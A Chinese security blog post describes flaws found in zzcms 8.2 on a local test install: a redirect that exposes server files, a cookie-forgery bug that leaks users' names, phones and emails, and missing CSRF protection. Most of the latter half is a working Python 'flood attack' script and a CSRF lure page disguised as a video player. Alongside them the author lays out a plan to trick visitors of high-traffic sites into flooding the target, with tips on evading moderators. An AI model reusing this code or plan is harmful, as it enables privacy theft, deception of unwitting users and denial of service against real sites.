记录一次利用业务设计缺陷漏洞的精彩实战测试

* 本文作者:Ka1ier,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

上次的那篇文章《 一名代码审计新手的实战经历与感悟 》得到了不少读者的支持,也得到了FreeBuf这个平台的肯定,这给了我这个菜的不能再菜的小菜鸟很大的信心。但是,不足之处还是很多,比如文章中出现的技术写得不够深入等等(这毕竟和个人实力挂钩的)因此,我决定尽我所能,尽量的写深入一点,每次写文章都深入一点,总有一天会深到很深的点。

本篇文章主要讲述我在zzcms8.2中挖掘到的漏洞,freebuf上已经有大佬写了这个cms的代码审计,当然,其他的平台也有人写了。所以,我既然写了,那么肯定是与他们的文章有所不同,漏洞也不同,攻击方法也不同,让读者读有所获。(新手可以考虑认真看看,后半部分有对于新手来说非常精彩的攻击演示)

漏洞集合

目录跳转读取敏感信息

在zzcms8.2/baojia/baojia.php的第四行,引用了zzcms8.2/inc/top.php这个文件,如图:

我当时追踪了一下这个文件,发现这个文件在引用的时候,首先就进行了if逻辑判断,而if逻辑判断中,又有可控变量。因此,我当时咋一看的时候,就很怀疑这里,感觉这里总可能存在一些问题。如图:

于是,我就打开网页看了一下,顺便抓个包瞧瞧。结果一看,哎,有点意思,代码是如果接受post请求,那么就执行跳转操作。而我们主动发送的请求是get,那就说明这个漏洞黑盒是百分之八九十测不出来的。黑盒又不知道这里居然还可能有post请求,就算测试post请求,也不知道参数是什么,因为前端压根没有这里的参数。

在我的上一篇文章中,我也有个感觉黑盒测不出来的漏洞,但是评论区大佬有人留言说黑盒能测出来,我仔细想了想,的确也有可能,因为当时那个漏洞前端能找到参数。

可是,这里就不一样了,无法猜测。莫名其妙的我就对白盒有了点小自豪,哈哈。回归主题,既然服务器端接收post请求,那么我就将get请求包利用burpsuite改造成post请求包。

将get请求包的数据格式以及内容改成post之后,我先尝试了构造xss,但是经过几次尝试,发现<”>被html编码,单引号被转义。这就很尴尬了。

于是转换思路,既然是跳转,那么能不能跳转到敏感文件?或者跳转到远程文件呢?如果要按跳转思路,那么必须要进行截断。而在目录跳转中,问号伪截断比较通用,不受版本限制。

如图,我构造了这样的post请求包:

由于进行了伪截断,所以我这里执行的跳转就是跳转到服务器根目录,读取我本地的服务器根目录敏感信息:

我不清楚真实的网站根目录下是否也会存在这样的漏洞,但是,如果存在,那么危害还是挺大的。

比如,目标网站有cdn,但是你根据这个漏洞就可直接发现目标网站的真实IP,在本地进行域名和IP绑定后,就可以直接绕过cdn。

逻辑漏洞导致个人敏感信息泄漏

在zzcms8.2/baojia/baojiaadd.php的183-213行中,如果在用户的cookie中获取到用户名,那么将会提取出该用户名的个人信息,回显到浏览器页面。

比如公司名(这个感觉不重要),真实姓名,手机号码,emai。后面这三个信息我个人感觉是很重要的。会利用的人能利用出各种花样,这里我们只交流技术,不谈那些非法利用,因此这里如何利用这些信息我就不写了。

下图是我回显出的测试信息:

漏洞复现的方法非常简单,只要你设置COOKIE的UserName为数据库中真实存在的用户名,那么就会得到该用户的这些信息。

下图,浏览器中的cookie信息

下图,该王二狗用户在我的数据库中真实存在:

为了更加严谨一点的证明这个漏洞,我又注册了一个test2用户,并且注销了test2用户的登录。然后,构造请求包:

成功获得test2用户的敏感信息:

前提是我数据库中存在注册过的test2用户:

设计缺陷漏洞+CSRF=累死管理员并且让网站业务无法正常运行!(前方高能)

唉,本来是挖漏洞的,结果边挖漏洞,边给人改BUG。。。

这里插入的字段数据库中根本没有,导致发布功能压根无法实现,原因就是classid,被错写成了classzm。。。想挖这的漏洞,还得给他先改好BUG。。。帮助这个cms实现功能,我才好测试功能是否有漏洞利用。。。

所以,我个人是不建议新手费劲心思来挖这套cms,因为还有其他地方的功能存在错误,比如点击目录跳转的链接会显示“该文件不存在”,原因是程序员的跳转路径写错了。。又比如验证码压根不显示,为了方便测试,我只能注释掉检验验证码是否正确的代码。。所以,对于这套cms,新手随便挖几个洞就可以了,代码能力不强的要想练习改BUG技能,可以认真对待这套CMS。

言归正传,在对baojiaadd.php的测试中,我发现同一用户可以反复的发布报价信息,虽然发布报价信息需要得到管理员的审核,但是并没有对发布报价信息的用户做出数量限制或者其他的限制(普通验证码在一些大佬眼中可以直接利用机器学习识别的,我这里由于验证码的功能并没有实现,所以我就直接后台注释了验证码,在此前提下,有了后面的攻击实验),那么这就给“调皮”的用户留下可乘之机。

比如,我大量的发送具有迷惑性质的报价信息,让这些信息存入数据库,并且让读取这些信息的审核人员无法分辨是否是真实用户,那么这个漏洞就完全可以严重影响该网站的业务。所以,我给这个漏洞的评价是“高危”

漏洞出现的文件在zzcms8.2/baojia/baojiaadd.php中的183-242行以及274-313行。

我图片中没截取到的代码部分,是我觉得不影响理解漏洞,利用漏洞,所以就没截取。

上面两幅图实际上是我说的第二个漏洞,逻辑漏洞,但是当时只能读取用户私人敏感信息,在这里,因为我写的exp顺便就读取了个人敏感信息,需要用到那个逻辑漏洞的判断逻辑,所以我就截取了,方便大家阅读。而且之所以用到这个漏洞,是因为正规网站不会让游客发帖,而这里貌似是可以的(我没刻意去追踪不伪造cookie能否发帖的文件,感兴趣的读者可以自己尝试),为了保险起见,我就当作伪造cookie才能发帖。

下面两幅图是服务器端的处理逻辑

最后,附上我写的伪造数据包之“洪水攻击”exp脚本,第一次写exp,写得不好多多见谅!功能就是根据我们想伪造数据包的个数,进行个人信息伪造,同时打印返回包(返回包中能看到逻辑漏洞中的敏感信息,我没写正则,所以读者可以自己改造)

exp脚本:

import requests;
import os;
import random;
import ast;
def attack():
    host='http://localhost/zzcms8.2/baojia/baojiaadd.php?';
    #构造伪造UserName,若想增强伪装力度,请自己调整代码
    users=['mayun','mahuateng','','zhouhongwei','leijun','liyanhong'];
    un=random.randint(0,len(users)-1);
    cookie_value='"Cookie":"UserName={user_forgery};"';
    cookie_value=cookie_value.format(user_forgery=users[un]);    
    header='{'+cookie_value+'}';
    #将构造的cookie变成字典形式
    header=ast.literal_eval(header);
    #构造伪造的产品,若想增强伪装力度,请自行调整代码
    product=['防晒面膜','护手霜','澳洲牛排','纸尿布','充气娃娃'];
    pn=random.randint(0,len(product)-1);
    #product_value=product[pn];
    #由于classid,province,city,xiancheng都是网站前端定义好的值,所以这里就不进行修改,当然,若想修改,还是可以修改的。
    #伪造价格
    price_value=random.randint(25,500);
    price_value=str(price_value);
    #伪造公司
    companyname_values=['阿里巴巴','腾讯','百度','小米','360'];
    cn=random.randint(0,len(companyname_values)-1);
    #companyname_value=companyname_values[cn];
    #伪造真实姓名
    truename_values=['马云','马化腾','周鸿伟','李彦宏','雷军'];
    tn=random.randint(0,len(truename_values)-1);
    #truename_value=truename_values[tn];
    #伪造电话号码
    tel_value='15'+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9));
    #tel_value=int(tel_value);
    #伪造地址
    address_value=['宿迁市宿城区西湖路358号','河南省开封市鼓楼区黄河大街中段1号','山东省济南市市中区文化西路117号','河北省沧州市运河区名人植物园(九河西路北)','哈尔滨市平房区哈尔滨市平房区新疆街道建文小区2号楼'];
    an=random.randint(0,len(address_value)-1);
    #伪造邮箱
    email_suffix=['@163.com','@qq.com','@sina.com','@souhu.com','@gmail.com'];
    en=random.randint(0,len(email_suffix)-1);
    email_value=str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+email_suffix[en];
    #构造payload
    payload='"cp":"{product_value}","classid":"王二狗专属","province":"王二狗大街","city":"王二狗城市","xiancheng":"王二狗县","price":{price_value},"companyname":"{companyname_value}","truename":"{truename_value}","tel":{tel_value},"address":"{address_value}","email":"{email_value}","yzm":"{yzm_value}","Submit":"发 布","action":"add"';
    payload=payload.format(product_value=product[pn],price_value=price_value,companyname_value=companyname_values[cn],truename_value=truename_values[tn],tel_value=tel_value,address_value=address_value[an],email_value=email_value,yzm_value=1234);
    payload='{'+payload+'}';
    payload=ast.literal_eval(payload);
    #payload={'cp':'跨站请求伪造1','classid':'王二狗专属','province':'王二狗大街','city':'王二狗城市','xiancheng':'王二狗县','price':999,'companyname':'跨站请求伪造公司','truename':'王二狗','tel':18888888888,'address':'王二狗大街','email':'888888@qq.com','yzm':1234,'Submit':'发 布','action':'add'};
    r=requests.post(host,data=payload,headers=header);
    responseContent=r.content.decode('utf-8');
    print(responseContent);
    print('......请稍等,正在进行数据包伪造之洪水攻击......');
    #os.system('pause');
def exp():
    num=input('请输入要发送的伪造数据包个数(只能是数字,否则报错),并按回车确认:');
    num=int(num);
    n=0;
    while(n<num):
        attack();
        n=n+1;
    print('\n-----------------------攻击结束------------------------');
    #print(num);
exp();

简单说明一下,我写的这个exp只是雏形,如果你想伪造的更像,更难以排查,更难以被审核人员过滤,那么我脚本中的那些变量,list,你可以加以改造,增加他们的数量以及不同的值,利用暴力破解的思路组合成新的个人信息,就像生成新的字典那样。另外,由于我这个是边测试边编写的,因此里面有不少的注释以及我注释掉的测试代码。。。大家将就着看吧。。

exp脚本攻击演示:

输入数字后,就会一直发送数据包,直到发送5个为止,会出现提示结束的信息。这里可以在返回的html代码中找到逻辑漏洞的敏感信息,用正则能匹配出来,我脚本中没写。。。懒了。。。感兴趣自己写吧。

为了证明我们的攻击是有效的,我下面提供我的数据库截图:

像这里的用户信息,都可以通过改造我的exp或者读者自己写exp来实现。注意看我这里伪造的地址,电话,邮箱,是不是很真实?其他的值也都可以做到这种地步,我这个exp只是提供思路,进行简单的攻击演示。

总的来说,我觉得这个漏洞应该属于设计上的缺陷吧,不知道读者是怎么定义这个漏洞的。

另外,我一开始就觉得这里还有有CSRF漏洞,因为按道理来说,进行这类操作最好都要先token验证一下,可是这里并没有验证。在说点题外话,在我我进行CSRF页面构造的时候,遇到一个urf8编码的坑,导致我一度以为这里引用了token机制,但是怎么看前端源码,服务器源码都没找到token机制。无意之间在html中看到自己写的中文变成了乱码,才忽然想到可能是编码问题导致我CSRF总是失败。于是我改了自己CSRF利用页面的源码,果断成功!

下面是我CSRF攻击页面的源码:

<html>
<head>
<meta charset="UTF-8">
</head>
  <body>
   <h1>小电影加载成功!</h1>
    <form action="http://localhost/zzcms8.2/baojia/baojiaadd.php?" method="POST">
      <input id="cp" type="hidden" name="cp" value="跨站请求伪造" />
      <input type="hidden" name="classid" value="王二狗专属" />
      <input type="hidden" name="province" value="大街" />
      <input type="hidden" name="city" value="某城市" />
      <input type="hidden" name="xiancheng" value="小县镇" />
      <input id="price" type="hidden" name="price" value="666" />
      <input id="companyname" type="hidden" name="companyname" value="跨站请求伪造公司" />
      <input id="truename" type="hidden" name="truename" value="王二狗" />
      <input id="tel" type="hidden" name="tel" value="18888888888" />
      <input id="address" type="hidden" name="address" value="跨站请求伪造伪造哦" />
      <input id="email" type="hidden" name="email" value="123456@qq.com" />
      <input type="hidden" name="yzm" value="1234" />
      <input type="hidden" name="Submit" value="发 布" />
      <input type="hidden" name="action" value="add" />
      <input type="submit" value="点击播放" onclick="jump()" />
    </form>
  </body>
    <!-- 设置cookie -->
  <script type="text/javascript">
   <!--这个跳转只是为了能刷新伪造的数据-->
   function jump()
   {
		window.location.href="http://www.baidu.com";
   }
    function setCookie(c_name,value,expiredays)
	{
		var exdate=new Date()
		exdate.setDate(exdate.getDate()+expiredays)
		document.cookie=c_name+ "=" +escape(value)+
		((expiredays==null) ? "" : ";expires="+exdate.toGMTString())
	}
	<!-- 设置cookie里的用户范围 -->
	var user_cookie=new Array("Helen","Mike","Jack","Nier","Wyate");
	range=user_cookie.length
	  <!-- 生成随机数函数 -->
	function rd(n,m){
    var c = m-n+1;  
    return Math.floor(Math.random() * c + n);
	}
	var n = 0;
	user=user_cookie[rd(n,range)];
	setCookie('UserName',user,'1');
  <!-- 每次加载页面都随机生成伪造信息,还是那句话,前端的一些值我没修改,但是,技术上完全可以修改。感兴趣自己尝试 -->
  var cp=new Array("Q币充值","淘宝刷单","游戏代理","腾讯会员");
  cp_range=cp.length-1;
  cp_value=cp[rd(0,cp_range)];
  document.getElementById("cp").setAttribute('value',cp_value);
  <!--伪造价格-->
  var price=rd(10,100);
  document.getElementById("price").setAttribute('value',price);
  <!--伪造公司名-->
  var companyname=new Array("阿里巴巴","腾讯","小米","京东","百度","360");
  companyname_value=companyname[rd(0,companyname.length-1)];
  document.getElementById("companyname").setAttribute('value',companyname_value);
  <!--伪造真实姓名-->
  var truename=new Array("小马","大马","小雷","小刘","小李");
  truename_value=truename[rd(0,truename.length-1)];
  document.getElementById("truename").setAttribute('value',truename_value);
  <!--伪造电话号码-->
  var tel_top='188';
  tel_value=tel_top+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9);
  tel_value=parseInt(tel_value);
  document.getElementById("tel").setAttribute('value',tel_value);
  <!--伪造邮箱-->
  var email_suffix=new Array("@163.com","@qq.com","@sina.com","@gmail.com");
  var email_value=tel_top+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+rd(0,9)+email_suffix[rd(0,email_suffix.length-1)];
  document.getElementById("email").setAttribute('value',email_value);
  <!--伪造地址-->
  var address=new Array('宿迁市宿城区西湖路358号','河南省开封市鼓楼区黄河大街中段1号','山东省济南市市中区文化西路117号','河北省沧州市运河区名人植物园(九河西路北)','哈尔滨市平房区哈尔滨市平房区新疆街道建文小区2号楼');
  address_value=address[rd(0,address.length-1)];
  document.getElementById("address").setAttribute('value',address_value);
  </script>
</html>

综上所述,攻击思路就是:在访问流量比较大的网站挂上有CSRF攻击的伪造网页(可以做的逼真一点,我这里并不逼真),或者想其他方法引诱大流量的互联网网民来到你这个CSRF攻击页面,诱导他们点击触发CSRF攻击的按钮,让所有访问这个大流量网站的人亦或是访问这个CSRF页面的人,都去浏览zzcms这个站并且发布报价信息。同时,自己在本地利用脚本,对目标进行恶意发布报价的“洪水攻击”(不知道怎么形容,就这样用洪水攻击形容了)来掩盖正常用户的正常发布报价的业务请求,同时也要能够尽可能的迷惑审核报价信息的管理人员,让其无法轻易利用脚本或者过滤机制分辨哪种报价信息是真实用户的业务请求,哪种报价信息是攻击者恶意伪造的。

只要有用户进入我们这个CSRF页面,便会自动生成伪造信息。只要用户点击我们这个CSRF页面的小电影“开始播放”按钮,那么就会向zzcms站发送一次请求,报价信息便会存入zzcms的数据库中,混淆其他的真实数据,影响网站业务,累死负责审核信息的管理员~

看下图,伪造的信息成功进入了数据库:

我点击了两次CSRF页面的播放按钮,所以就生成了两条不同的数据。由于点击完,还会再次刷新到此CSRF页面,若用户第一次点击不明所以,还有可能再点击一次。那么在流量非常大的情况下,就等于将非常大的流量放大两到三倍去攻击zzcms站点。可以说,很恐怖了。

如果想最大限度的进行DDos攻击,那么还得补充相关知识,比如,什么情况下服务器解析最慢?我这里只提供思路。。因为我技术有限。。。留下来没技术的泪水。。。

总的来说,这思路结合了DDos攻击、无线网干扰中的“洪水攻击”思路,同时结合一些欺骗的艺术以及利用网站的逻辑漏洞/设计缺陷来完成的一次精彩攻击。(尽管我伪造的页面很简陋,但是也不失为一次精彩的攻击,不是吗?)

额,刚好由于我投稿的时候,可能是当时太累了,图片复制粘贴的居然有一些是外链。。也没提示,标题也有点敏感,导致审核失败,正好借这次修改机会,再多说两句。再次强调,因为这套cms的验证码功能有bug,我为了方便测试就将其注释掉,但是,对于普通的验证码,一些大佬完全可以做到识别,因此,这篇文章的精髓在于攻击的思路。如果说硬要加上验证码,那么CSRF的攻击以我的技术就无法实现了,因为我不知道如何在CSRF的时候,还能同时获得正确的验证码(ajax的思路可以吗?)。除非网站的验证码做的很BT,否则,只要能识别,那么我们的python脚本就依旧可以“泛洪”一下。

欢迎大家评论区讨论~

* 本文作者:Ka1ier,本文属FreeBuf原创奖励计划,未经许可禁止转载

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章